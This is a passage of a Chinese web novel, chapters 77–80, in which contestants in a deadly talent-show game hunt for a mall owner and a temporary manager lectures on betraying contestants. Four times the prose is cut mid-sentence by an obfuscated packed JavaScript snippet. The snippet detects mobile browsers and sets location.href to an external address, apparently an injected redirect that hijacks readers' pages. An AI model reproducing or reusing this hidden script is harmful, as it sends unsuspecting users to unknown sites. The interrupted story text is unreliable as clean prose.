“商座里没有监控。” 所以她们的表现不会被录制成视频播放出去，叶曳也没必要一直保持这么个人设。 “所以姐姐是这么看我的吗？”眼泪说掉就掉，叶曳垂下头，委屈巴巴，“我是真心喜欢姐姐。” “你发现了什么？”即使知道叶曳是装的，但林筱也很难不心软。 喜欢这类的话，她们谁也不可能当真。哪怕现在关系再好，本质上，她们依旧是竞争对手。只不过是会在有选择的基础上可以不优先伤害对方的竞争对手。 林筱硬是不接话，那叶曳也没办法。 她只能单手托腮，抬起的脸庞上毫无泪迹，显然是在刚刚的低头中快速打理完了战场：“其实，门口有个介绍牌啦。” 只不过那个介绍牌很不起眼，如果不是倒地的姿势压根不可能发现它。 叶曳能发现它是偶然，但也可能是商座主人的恶趣味。 只有被道具攻击的选手才会瘫倒在地面上，也只有他们会发现关于商座主人的信息。如果他们选择的同伴没有互相扶持，那他们的同伴也将失去这些信息。 为了增加难度，上面的字迹也经过了某种变形与扭曲。以叶曳当时模糊的视力和无法凝聚的注意力是无法辨清所有内容的，所以这个提示理论上需要同伴之间的相互信任与合作。 虽然林筱和叶曳跳过了中间的某些步骤，但殊途同归，她们能站在这里终究还是因为信任。 “说是介绍牌，”叶曳拧起眉，嫌弃地吐了吐舌头，“更像是商座主人的自吹自擂。” 因为上面全是对商座主人的夸耀之词。 从能力到财力，从地位到品德，唯一不提的只有样貌。 “所以ta应该是个平平无奇的人。”叶曳下了结论。 按照介绍牌那个浮夸的风格，哪怕商座主人丑，那也能被它找出角度夸上天去。除非寻常到找不出夸奖的点，才会被这么快速带过。 “但也有可能是节目组故意给我们设下的陷阱。”话音还没落，叶曳又给自己拖来一条后路。 “你先概括一下里面写了哪些内容。”林筱把话题拉回正轨上。 叶曳幽怨地看了林筱一眼，还是老老实实地概括了起来。 其实介绍牌上的内容总共可以分为两个部分，一个是无脑夸夸，一个是特征描写。 无脑夸夸的部分包括商座的主人是如何善良英明，如天神降临般出现在节目组最需要钱的时候，将这个破破烂烂的节目推成世界顶流。 其中夸张的描写就比如眼睛如射线般精准辨别选手的资质，大脑运转速度快到几乎头顶冒烟，就连上城区的大人物都只能匍匐在ta的脚下。 而属于个人特征的部分，那就是商座主人是个爱热闹的人。 ta虽然只在商座范围内活动，但时不时会出现在商座一楼的各个角落。尤其在节目组有活动的时候，ta出现的频率会更加大。 “趣味赛也是个活动。” “所以ta现在就在商座一楼。” 虽然她们结论下得很快，但也只是结论。商座很大，等她们翻完所有的角角落落，哪怕商座主人没走，她们也不一定认得出人来。 她们甚至连商座主人是男是女都还不知道。 “先把一楼走一圈，数数看有多少角落。”林筱站起身来，“找人先不急，其他人还没来呢。” 叶曳抬着头看她，深以为然。 她们可是走了捷径闯入最后一关的，完全浪费的起时间。等她们确认好地形，再等其他选手出现，提前掌握信息的她们肯定会比其他选手更快找出商座老板来。 就在她们准备离开时，一个毛绒绒的脑袋钻了出来，还带着刚从人群中穿梭的凌乱： “嘿，你们也是选手吗？” 男选手？ 林筱和叶曳对视一眼。 男女生宿舍楼是分开的，甚至通往其他区域都有各自的专属通道。虽然是防君子不防小人的措施，也表明了节目组对选秀恋情的厌恶。 但在一定程度上也让男女选手之间的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073131|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信息并不流通。 她们这边有高低组合，男选手那边有自己的消息渠道也很正常。 “你们也在找商座主人吗？”男选手总算把自己完整地挤了进来，看见地上的人，连忙补充道，“我们也是在完成最后一个任务。你们放心，我们没有恶意的。这个趣味赛又不分名次，我们可以合作一下？” 最后的一句话尾音上扬，犹豫地试探着，但看他没有完全伸进来的脚就知道，只要发现她们表情不对，他肯定拔腿就跑。 被当成坏人的叶曳眨了眨眼，对着林筱甜甜一笑就站了出去：“好啊。不过我舍友不喜欢和人打交道，就由我来负责和你们交流了。” 你们两个字被画了重音。 只可惜对面完全没领会叶曳的意图，只是迟疑地看着地上的两具尸体，又看了眼手指上还残留部分血迹的林筱，嘀咕：“是不喜欢和活人交流。” “丧心病狂、杀人不眨眼狂魔”林筱听见了，也当做没听见。 男选手把他的舍友也叫了进来。 “真有选手啊……我说怎么这么多人围观！”这位刚进来就咋咋呼呼地吵嚷，看了会地面，又看了看两位并不强壮的女选手，“最毒妇人心啊。” 两个被迫“最毒”的人一齐看向他，吓得他立马躲在室友身后。 “我们先说一下我们这边得到的情报。”最早出现的男选手也很有兄弟义气地护住他，假装自然地转移话题，“商座主人是个女性。” 这能帮她们筛选掉很多人了。 他们不提自己的情报出处，她们也不会主动告诉：“商座主人会在节目组搞活动的时候出现在一楼角落。” “那不就是现在！”炸呼呼的男选手脱口而出。 叶曳笑眯眯地点头：“如果你们不出现，我们说不定都找到她了呢。” 假装没听见她嫌弃的男选手还是要为自己正名：“但我们可以帮你们节省起码一半的精力。” “你确定？”叶曳却不怀好意地示意他看向围观群众们。 1，2，3……22。围观的人里面，只有1/3的人是男性，按照比例推算，他们的消息价值没有他们想象的那么大。 “趁其他选手还没来，我们先找起来。”他们顾左右而言他，“先大致记下各个角落有哪些人，等其他选手到了再对比一下，这样总能缩小范围找到人。” 也不失为一个办法。 等他们再次回到喷泉时，喷泉周围已经被打扫干净，这里依旧是璀璨闪耀的商座中心。 他们尽快交换了人物的特征，潜伏在一旁的商店等待其他选手的进入。 第三组选手也没让他们久等，但他们选择的战术是询问一旁的商铺。 和看都不敢看商铺一眼的男选手组不同，第三组只是实力强运气好才进来这里，所以一点都不懂商铺的规矩。 看着眼前的热闹，林筱她们默契地和第二组来的男选手们对视一眼，再次分散到一楼的各个角落。 第三组的事情还没解决，他们就已经回来了。 和之前的志得意满相比，现在的他们眉宇间带着疑问。 “没有一样的人。”光看脸色，林筱也知道这个答案。 男选手没必要骗她们，她的信息也不会有错，那问题会在哪？ 就在全员沉思的时候，门口出现了尖利的惊叫声，第三组的其中一个成员软倒在地面，手指颤抖地指向柜面，神情惊恐。 他们也看了过去。 “文字游戏。”林筱瞬间反应过来，“节目组又在和我们玩文字游戏。” 77. 第三个世界15 文字游戏。 薄薄的书册摊开，一只手点在上面几个字眼上，留下浅浅的痕迹。 讲台上，陌生的男人穿着一身正式的礼服滔滔不绝。讲的却不是仁义道德，而是坑蒙拐骗。 骗的，自然是被他们这些临时经纪人管着的选手们。 这是节目组专门针对他们这些临时经纪人举办的讲座，每一个座位上都放了一本名为《教你一天速成临时经纪人》的教材。 而翻开的第一页，第一条就是教人怎么利用文字游戏诱导选手踏入节目陷阱。 “这一条是比较难，”坐在姜时宴身边，西装革履的男人自来熟地凑近他，“你可以看第二条。” 参加会议的都是他们这些临时经纪人，但和之前的大会议厅不同，出现在这里的人都没有遮掩自己的面容。但光是从身形辨别就可以得知，起码有五分之一的人已经被替换。 从门口安保的态度来看，至少那人没对他说谎。这个节目，的确在暗中鼓励他们自相残杀。 姜时宴翻页，看着显露出来的第二条：利用信息差误导选手选择不利于自己的选项。 与其说临时经纪人速成，不如说谋财害命攻略。 “你不舍得？”似乎是感知到姜时宴的不屑，他凑近姜时宴的脸庞，豆大般的双眼死死地盯着他，就像下水道贪婪盯着水管外移动肉块的老鼠，“不舍得也正常，毕竟你们是同伴啊。” 同伴两个字即使经过系统的翻译也能感知到其中奇怪的腔调，像是含糊着口水般模糊。 就算是傻子也知道这个人不对劲。 姜时宴不是傻子，他比在场的任何人都更早地感知到这个人的不对劲。但就像林筱一样，如果不是骨子里的赌性，他也不会在他原本的世界蛰伏那么多年只为等待一个渺小的机会。 “我只是觉得这些办法都太粗糙了。”姜时宴摇了摇头，语气中还带着遗憾，“不过你说的同伴是什么意思？” 男人噎了一下，狐疑地看着他。 姜时宴坦然回视。 男人没能从姜时宴的脸上发现不对还被反问一句，烦躁地收回视线，嘀咕着姜时宴听不懂的话。 奇怪。 姜时宴收回视线，看着眼前的书册出神。 他算不上玩家，也无法直接与“系统”交流，但根据他自己的世界和上一个世界判断，这个世界的人不该知道玩家的出现。 他可以确定，这个男人就是知情人之一。 他没有证据，但他相信自己的直觉。按照现在的情形分析，他和林筱也分不清到底谁比谁危险了。 “你真的有别的办法？”过了一会，男人还是没忍住好奇，探过头来追问。 “有。”姜时宴很肯定地回复他。 “那行。”他似乎下定了决心，“如果你骗了我，你不会想知道这么做的后果的。” 这句话说完，他站起了身，径直走到讲台之上。 之前的讲师已经结束了他枯燥无趣的讲座，走出去将位置让给他。 “各位临时经纪人，你们好。”他捡起讲桌上的铁棍，“我是你们的实操老师，也是你们手中这本教材的编撰者。” 会议室内响起并不轻的吸气声。 姜时宴周围的人纷纷向他投以羡慕的目光，只有他依旧那副不以物喜的矜持模样。渐渐的，众人的目光也多了几分鄙夷。 会留在这里当经纪人的，有哪个是真的无欲无求？装得太过，可就讨人厌了。 他们看向讲座上的人，坚信他也会这么认为的。 姜时宴不在乎他们怎么想，也没有惊讶。 这有什么好惊讶的，这不是一目了然的事情吗？从一堆俊男美女中找出不同，不会比绿豆里面找胡萝卜更显眼。他们这些临时经纪人只是被淘汰的选秀选手，不是歪瓜裂枣就能混进来的。 “但在讲课之前，我还有件事要宣布。”并不知道自己被评价为“歪瓜裂枣”的讲师意味不明地笑了起来，本就狭小的眼缝更是只剩下一条黑线，“我们需要重新建立属于我们的课堂秩序。” 一部分人眼睛发亮，不怀好意地看着姜时宴。显然，他们认为姜时宴就是那个该被重点整顿的“不良秩序”。 但更多的人都抱着事不关己的态度冷漠地看着这个讲师。 “我们中混进了不属于我们的人。现在，”他昂起头，“举报他们，抓住他们，你将得到更多来自节目组的帮助！” 他以身作则，指向一个面色骤变的男子。 那是一个说不上难看，但在这一群临时经纪人中却显得格外路人的年轻男子。在发现主讲人针对的就是他后，他一手撑住桌子翻越到过道上，另一手伸进口袋，视线还不自觉地向上飘逸。 那个高度，和林筱在休息室看系统时一样。 这就是一个玩家，也不知道他是怎么被发现的。 在场的所有人都站起了身，但他们的阻拦并不能阻止那个玩家的脚步。有的人甚至眼看着就能抓住他，但不知道为什么总是会差了一丝距离。 姜时宴知道，那是道具。 但这里是节目组的主场，会议室更是他们精挑细选的戏台，就算这位玩家做到了自己最大的努力也改变不了结局。 主讲人露出那种戏谑的，属于掠食者玩弄猎物的残忍笑容。 所以在那个玩家再次从姜时宴身边跑过时，他没有再留手。薄薄的刀刃划过玩家的颈部，惯性让他继续向前，血流迸射，染红了近半会议室。 主讲人露出失落的神情，但很快，他死死地盯着姜时宴，笑容诡谲：“这位同学对我的教材有不一样的看法，现在，让我们一起欢迎他来分享自己的看法。” 在其他人看死人的目光中，姜时宴的神情依旧没有出现大的变化，镇定自若地走了上去。 * “有什么问题吗？”男选手不解地问道。 他努力理解规则，不断回忆刚才第三组做出的动作，试图找出林筱的突破点。但努力了半晌，他还是泄气地靠在柱子上，沮丧地看着林筱。 他还是不知道哪里出了错。 倒是叶曳若有所思地点了点头，得意地仰着脸：“是角落吧。” “对啊，角落。”男选手依旧没转过弯了，“我们刚才就是去搜了所有的角落，就连洗手间都没放过啊。” 得到林筱肯定的叶曳得意地看着对面的两人：“你们对角落的认知太狭隘了。” 他们，狭隘？ 男选手们指了指自己，感觉到前所未有的委屈。 “我又说错什么吗？”叶曳仰着下巴踢了踢身前的柜子，这个动作被她做起来不仅不会显得粗鲁，反而带点娇俏可爱，“它们算不算角落？” 这是这商座所有店铺里最常见的柜子，摆放在店铺侧面。柜子是用类似合成板 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15084254|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的材料制作而成，刷成棕色，看上去并不显眼。柜子的上面也没有浪费，铺满了商品和各类介绍书册。 真要说起来，可以算是，也可以不算是。 就在男选手们疑惑的时候，他们突然看见看见了一点光。 这个光不像是正常的光源，而不正常就是线索。 几乎就是下一瞬，他们就凑近了柜子，只有叶曳看见没有动林筱明智地选择了站在原地。 果然，就在男选手们靠近的下一秒，他们就惨叫地跌坐在地面上，口中发出意义不明的乱语，手指还不断比划着，眼神惊恐。 但不等林筱她们回应，站在一旁的店员就已经不满地瞪向男选手们：“你们打扰我们店员休息了？” “店，店员？”回过神来的男选手自觉丢了脸，恼羞成怒地指着柜子，“你们店员在柜子里面休息？你们这是故意吓唬顾客，我要向你们领导投诉！” 店员看着男选手的表情就像看着无理取闹的小孩，颇有耐心地解释：“我们店员也需要充电休息啊，不在这里休息那去哪里休息？” “可这也不是你们……哎，你们拉我干嘛？”男选手不解。 林筱她们没让男选手们继续说下去，她怕再说下去，他们就要被商座赶出去了。 “你们就没有仔细观察过这些店员吗？”林筱皱眉。 这么近的距离，哪怕是再逼真的机器人也能看出与真人的差别来。 “我光顾着生气了，没关注。”男选手自知理亏，挠了挠头转开视线，“店员怎么了？” “它们不是真人，”既然知道这些男选手指不上用场，林筱干脆把知道的都说了，“而是特制的机器人，所以它们需要充电来维持工作。” 所以这个充电就是字面意义上的充电啊。 男选手们目瞪口呆，偷瞄店员一眼：这也看不出来啊。 “所以我怀疑，商座主人就藏在这些柜子里。”林筱冷冷地看着他们，直到他们的注意力重新回到话题本身上，“我们要做的很简单，就是从里面辨认出哪个是商座主人。” 其实还有一点，她也是才想到。 商座前面的告示牌上没有特意写明商座主人的外貌，除了商座主人平平无奇之外，也有可能是她极度厌恶被人看见自己。 结合以上这些要素，她才认为商座主人极有可能藏在这些不起眼的柜子当中。 搜遍整个商座很难，但辨别柜子里的是机器人还是真人，这个难度就降低了不少。 听到这个消息的男选手更加惊喜，但也觉得不好意思：“我感觉我们在这个任务中都没付出多少。要不这样，如果我们找到了，也让你们先完成，之后再完成我们的。” “好啊，”叶曳也没客气，“到时候叫我就行了。” “不行，我们还是签协议吧。”他们从口袋里拿出一张纸，白字黑字，写的倒都是正经协议，“这是受节目组监督的协议，不管谁违约都要付出代价。签下这个，我们谁都放心。” 叶曳很爽快地签下自己的名字。 “那位呢？”男选手向叶曳询问始终没有过来的林筱。 “她不喜欢和人打交道啦。”叶曳拍了拍自己胸脯，“所有对外的事物都是交给我的，我一个人能负责，你们放心。” 他们看了林筱一眼，也没纠缠：“那行，合约一式两份，这份交给你们。我们就按计划行事。” 78. 第三个世界16 台下吵吵闹闹，台上寂静无声。 台上台下，仿佛两个世界。 站在一旁的主讲人还要添油加火：“你刚才说我的办法不行，不会是骗我的吧？” “要不你认个错吧。”台下其他经纪人起哄，“宋老师脾气那么好，你认个错，他不会打你的。” 一旁的主讲人好脾气地眯起了眼，点头：“嗯。” “看，宋老师都给你台阶了，你就认错吧。” 起哄的人纷纷大笑，满眼都是不怀好意的打趣。 姜时宴不是脸皮薄的人，即使被整个会议室的人打趣，他的神色也不见任何变化。 但他只是懒得说话，不是蠢。他要真的信了他们的话，那才是自寻死路。 站在高处，他睥睨底下毫无坐姿形象的人群，居高临下地俯视包括讲师在内的所有人：“燕雀安知鸿鹄之志。” 底下一片哗然。 他们把人当乐子，被当乐子的人居然还瞧不起他们。 “那请问这位天鹅又有什么高见？”他们满脸恶意，“该不会是像现在这样当个美丽的花瓶，让选手们为你放弃生命了吧？” 虽然在曾经，他周边的那些人也会用浮夸的辞藻形容他，但这么直白的花瓶评价，他还是第一次得到。 姜时宴只是把他们当乐子。 “被一个处心积虑谋害自己的人淘汰有什么乐趣？”姜时宴冷笑一声，“被自己信赖的人淘汰，被斩断所有退路后的绝望，那才是我们应该得到的。” 当姜时宴说完第一句话的时候，主讲人就已经眼前一亮。当他的话都讲完后，主讲人已经将姜时宴视为知己。 就连台下的人都纷纷露出学到了的表情。 他们是经纪人，更是曾经被淘汰后选秀选手。没有人比他们更知道即将迎来希望后不得不面对绝望的可怕，也没人比他们更希望有人和他们一样经历这种痛苦。 会议室内安静了下来。 这一次，他们是真的准备听姜时宴的课。 “所以你们要做的第一条就是伪装自己，只有他们信任了你，这才是一切的前提。” …… 姜时宴的理论得到了与会人员的高度认同，没有人再怀疑他是他们中的叛徒，甚至离开前还会和他打招呼。 讲师陪他留到了最后。 “小姜啊，”他的面容也变得和蔼可亲，“好好干，等做出成绩来我就和领导报告你的功劳，到时候好处少不了你的。” 他指了指上面，意思不言而喻。 说完，他亲切地拍了拍姜时宴的肩膀，也离开了会议室。 会议室只剩下姜时宴和还带着温度的玩家的尸体。 姜时宴也准备离开，但在离开前，他的余光瞥见一抹闪亮的东西。 似乎是，在玩家身上？ * [恭喜玩家获得编号6537的遗产，总计剩余积分600，已全部转入玩家账号。 祝玩家游戏愉快。] 系统的提示音突然出现。 虽然也就一天的时间，但总感觉这一天发生的事情太多，多到让人神志都开始模糊。 “姐姐？”叶曳看见林筱动作停下来，疑惑地转头，“是累了吗？” “我只是想另一组的人会不会按照契约办事。”林筱敲了敲柜子，确认睁眼的不是活人，直起身沉声道。 “会不会也无所谓。”叶曳眨了眨眼，“如果他们违约，那就更有趣啦。” 她们几乎已经找全了所有柜子，如果下一个还找不到，要么商座主人在男选手所在的范围内，要么林筱的推论就是错误的。 但根据现有线索来看，林筱的猜测应该是最接近的。 叶曳继续敲击她们范围内的最后一个柜子。缝隙中露出一双黑白分明的大眼，密密麻麻的红血丝布满眼球的周围，看上去充满怨气且恐怖。 叶曳没有出声，抬头看向林筱。 “打扰了。”林筱也敲了敲柜子，“下午，嗯，晚上好，老板。” 里面的眼睛一动不动地盯着她们，过了好一会才慢吞吞眨了一下：“好，你们……” “是商座主人！”不知道什么时候冒出来的男选手们一个健步来到林筱身前，将她遮挡得严严实实，“您好，我们是这次选秀的选手，我们想和您拍个照可以吗？” 被推到一旁的叶曳可没了好脸色：“你们不是说让我们先完成任务的吗？” 但她也没有特别不高兴。 就像他们之前讨论的那样，这个任务不具备唯一性，所以这只是涉及完成任务的先后顺序问题。 但不妨碍叶曳依旧很不爽。 线索她们整理的，关键证据她们发现的，人也是她们找到的，却在最后一步被摘了桃子。 任谁都会生气吧。 他们也知道自己过分，但依旧嬉皮笑脸道：“哎呀，妹妹，我们不是说好我们找到了就让你们先完成任务吗？那既然是你们先找到的，可不就是让我们先完成任务。” “哼。”叶曳哼了一声，转过脸。 真是好算计。拿不确定的未来先换个好感，再根据结果选择履约还是毁约。就算他们先找到商座主人，叶曳怀疑他们也在协议上留下了空子。 他们依旧笑嘻嘻的，没再理林筱和叶曳。 商座主人乌黑的眼球一动不动地看着他们几秒，猛地缩回头，缝隙内只剩下一片漆黑。 他们等了许久都没看见商座主人再次冒出来，不禁再次拍打柜子。但即使柜子都已经开始摇晃，商座主人也没有出现的意图。 叶曳偷偷抬起头，果然看见林筱波澜不惊的表情。她悄悄拽了拽林筱的衣袖，用不让那两个男选手听到的声音小声问道：“你猜到了？” “嗯。”林筱点头，“你找到的线索很有用。” 男选手那边走的是歪门邪道，那她们这边用的就是正正经经节目组放出线索。不仅包括商座主人隐藏的地址，还包括商座主人的喜好。 那些看似浮夸的夸奖都指向一个方向，商座主人喜欢且擅长投资。商座主人是她的身份之一，那她喜欢的称呼就应该是“老板”。 像这两个男选手这样，无礼地直接称呼她的身份，还直接向她提要求，这种行为绝对不可能被商座主人容忍。 所以正确做法就应该称呼商座主人为“老板”， 但这些，男选手们不知道，也不可能再知道。 他们确认商座老板不会再出现后，讪讪地扭过头：“估计是有时间限制的，下次她再出现，我们就把机会让给你们。” “你觉得你说的话我们还会信吗？”叶曳不满地哼哼，“姐姐，我们不理他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15088223|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们，我们自己干。” 男选手们纷纷讨饶，可不管他们说得再怎么好听，叶曳也没接受他们的示好。 “可商座主人就在这里啊。”既然说不通，他们干脆耍无赖，“商座又不是你们开的，我们想在哪就在哪，你们也没权利赶我们。” 虽然知道他们无耻，但没想到他们居然那么无耻。 叶曳感觉自己的拳头都要硬了，演技也即将崩盘。 “你们开心就好。”林筱耸肩。 毕竟以他们现在的认知水平，就算再努力，也不可能和商座主人搭上话来。 这有恃无恐的模样更加让男选手们确定她们有独特的应付商座主人的办法，互相对视一眼，露出一个心照不宣的内容。 过了一会，林筱准备敲柜子，却被男选手们抢先。幸运的是，商座主人并不会瞬间移动，她依旧在里面。他们抢先了也不搭理商座主人，反而邀请她们过去，像是要履行他们之前的承诺。 是让她们先完成任务了，但也让她们更恶心了。 可没等林筱开口，他们又用身体挡住柜子的缝隙：“既然我们履行了约定，你们也要做到吧。” 看着他们挥舞的协议，林筱皱眉：“什么意思？” 男选手们恬不知耻地开口：“你们还得帮我们完成任务。” 叶曳要被他们气笑了：“凭什么？” “别忘了这个协议。”男选手拍了拍写满字迹的纸张，“上面可是说明了，我们让你们先完成任务的前提是你们帮助我们完成任务。如果做不到，你们可是会被契约惩罚的。” “惩罚是什么？”叶曳好奇。 或许是为了增加震慑力，他们故意压低声音：“每个人在商座里都是有固定价值的货品，你价值多少，就需要赔偿被毁约人多少。” 叶曳缓缓地伸了个懒腰：“真是毫无新意呢。” 话还没说完，她突然伸出腿，将两个男选手全部踢出一米外，还没有损坏到其他店铺的商品。 毕竟如果东西坏了，还需要她们赔偿的话，她们现在可拿不出多少钱。这两个男人一看就不值钱，就算把他们都卖了恐怕也赔不了一个架子。 一个一直柔柔弱弱的人突然变得剽悍，就像小白兔突然变成霸王龙，两人愣是没反应过来，呆呆地躺在原地。 “你们不怕毁约吗？”他们声厉内荏道。 “不怕啊。”叶曳甩了甩腿，就像甩掉什么脏东西般，“因为和你们签约的只有我。” 而她早就被高低组合出卖了所有价值，是个一无所有的人。 林筱没有浪费叶曳为她争取到的时间，迅速与商座主人交流起来。 一切都入她计划般顺利，商座主人在她的吹捧下爽快答应了合照要求，只不过需要她也进入柜子内部。 林筱没有犹豫，弯腰钻了进去。 【恭喜选手完成本次趣味任务：和商座主人合影。 选手56号和选手153号完成全部趣味赛任务，获得100%比赛奖励。第二组完成比赛的小组可获得80%奖励，以此类推，先到先得，期待各位选手的参与。】 节目组的第一句话是针对林筱和叶曳两个人说得，但第二句话却是对全园区的公告。 这也让林筱和叶曳再次感受到什么叫包藏祸心，这简直就是把她们当靶子打。 79. 第三个世界17 除了找商座主人的时候麻烦一点，最后一个任务可以说是没有难度。 既没有想方设法拒绝合影，也没有趁着黑暗袭击林筱，以至于任务完成后她还有了一丝恍惚。 这丝恍惚也延续到林筱看见毫发无伤的叶曳。 “系统。”她在心中默念。 [请问玩家需要购买什么道具？] 系统虽然依旧准时出现，但本该毫无波澜的电子音莫名出现了属于疲乏的质感，听上去比节目组那低质的电子音舒服了不少。 但从未见过那么虚弱的系统。 是只在这个世界虚弱，还是它本身就在虚弱？ 林筱先将这些念头按下，继续在心中默念：“商座里是否存在规则？” 这其实算是违规操作。如果所有玩家都这么问的话，那规则根本无法隐藏，穷举法会是最大的赢家。 但出乎意料的是，系统格外好说话地回应了林筱：[商座内存在规则，且该规则已被其他玩家室友。] 如果说系统爽快回答是意外的话，这个答案却是在林筱的预料之内。 或者说，这只是让她更加确定自己的想法。 园区内的商座只有这里一处，而玩家出现的时间点应该都在选秀开始之后。所以极大可能，他们就是第一批到达商座的人。 到达商座，又了解“价值”这个含义的，只有他们几组人。 略过已经被淘汰出局且看着就像本世界土著的高低组合，那对男选手组合看着智商也不怎么高，只剩下也对出道没有那么高兴致的叶曳。 如果是这个世界的土著，作为下城区的居民，即使知道节目组可能是个阴谋，他们依旧会为了一个离开的可能拼尽全力，而不是叶曳现在这种假装积极的态度。 所以，叶曳就是玩家。 她是玩家，所以即使面临死亡也不曾绝望，因为这不是真正的死亡。也因为是玩家，她才会有这种游离于这个世界的超脱感。 就像这个世界只是她角色扮演的游戏场一样。 “怎么了，姐姐？”叶曳担忧地凑上前，“是那个商座主人欺负你了吗？” 她义愤填膺地握紧拳头，似乎只要林筱说一个“是”字，她就会冲上去打她一顿。 “没有。”林筱顿了一下，“出乎意料的顺利。” 证明叶曳是玩家只是为了验证她的想法，并不代表她会因此疏远叶曳。只要她们现在还处于同一阵营，她就不会背叛同伴。 “哦~”叶曳理解地点了点头，“其实我现在也总觉得节目组会有后招等着我们。” “现在还不算有吗？”林筱无奈地点了点她的额头，“快走。” 再不走，等其他选手追上来，她们之后可就没有安逸日子了。 节目报的是她们的编号，所以其他选手暂时还不知道拿到奖励的是她们。但那组男选手能过来，其他选手也未必不能提前。以节目组这些选手的习性，一旦被他们发现奖励的稀缺性，他们肯定更希望所有人都站在同一个起点上，而不是先天就落后一步。 所以她们更需要隐藏好自己。 想到这，林筱有些疑惑地看了眼四周：“那两人呢？” “那对男选手吗？”叶曳晃了晃脑袋，“被我绑了手脚塞进空柜子了。” 运气好，会被人发现。运气不好，那就怪他们运气不好啦。 处理了就行。 林筱没有对叶曳的处理办法发表任何意见：“先去食堂还是先回宿舍？” 逛了一下午了，该吃晚饭了。 “点外卖吧！我之前就看见还有好几个套餐我感兴趣，正好这次体验一下！” 刚才在一楼寻找角落的过程中正好被她们发现一个隐秘的安全出口，两个人借着周边绿化的遮掩从食堂绕到宿舍楼下，再从楼梯走回到宿舍。 被留在柜子里的两人绝望地挤成一团，空间狭窄得完全无法自由伸展身体，只能望着那一条缝隙发出绝望地呼救：“唔，唔，唔，呜呜……” * 就和林筱她们当初预料的一样，第二组、第三组完成任务的人很快就出现。但因为报的都是编号，所以林筱她们也不知道那两位男选手到底在不在内。 透过门缝，走廊上已经出现各种嘈杂的声音，都是自觉没了希望的人提前返回到了宿舍。 但即使这样，她们的身上也免不了斑斑点点的伤痕。 从某种程度上说，林筱和叶曳是幸运的。 最危险的步骤由高低组合替她们完成了，遇到的对手惨的惨，蠢的蠢，整场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15093753|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比赛有惊无险。 等她们吃完饭，洗漱完成，最后一组获得奖励的选手也公布了出来。 和节目组通知同时出现的，还有突然开始震动的联络器。 “56号。”林筱接通讯息，姜时宴的声音在电流的作用下变得尖锐刻薄，刻意伪装后的阴沉更是加深了声音的恶意，“下一次选拔的主题出来了。” 选拔？ 这乱七八糟的比赛都让她快忘了自己其实是来唱歌跳舞的。 “是什么？” “第二次选拔的主题是喜悦。注意审题。” 这句话说完，姜时宴就挂断了通讯。房间门外，叶曳也探出了一个头。 她看见林筱，笑着做了个口型：“喜悦？” 林筱点头。 “喜悦。” 所以这个主题是没错的，姜时宴提醒的审题又是什么意思？ 选拔就在两天后，园区内有训练室，但林筱和叶曳谁也没去。安全起见，还是在宿舍练习就行，桌子一搬就是个练习场所。 但宿舍也不是完全安全的地方。 和林筱她们一个想法的不在少数，再加上流传出来的传言中趣味赛第一名是一组女性选手，所以每天的长廊上都能看见蜿蜒的血迹。 偶尔还能看见清洁工进入房间打扫，再将房间挂上无人的标志。 好在自保对于林筱和叶曳来说没有问题。 就这么消磨过了两天，终于等来了第二次选拔的日子。 一大清早，广播就把所有人叫了起来。 节目是自己排的，妆造也是自己弄的，只有最后一场选拔才会有节目组的人为选手服务，现在完全都是选手们自食其力。 宿管连带着工作人员守在走廊后，按照某种顺序排成长队，一组一组坐着电梯下去。楼下也有工作人员守着，他们负责将分好组的选手带到指定的等候场所内，并为他们贴上自己的序号牌。 几乎就在56号牌出现的时候，众人的目光就开始变得灼热。 这次表演的地方位于演播大厅，和宿舍是斜对角。这条路有多长，林筱周围的人就注视了她多久。 林筱叹了口气。 有这样的毅力，他们做别的都会成功，何必磕死在她一个人身上呢？ 80. 第三个世界18 新的进场顺序并不按照选手序号排序。 林筱被安排在一个不前不后的顺序，这对她来说很危险。 作为一个非专业选秀人员，她的表演不足以让疲倦的评委和观众耳目一新，即使是在有人气加成的前提下，她也没有稳赢的把握。 其次， 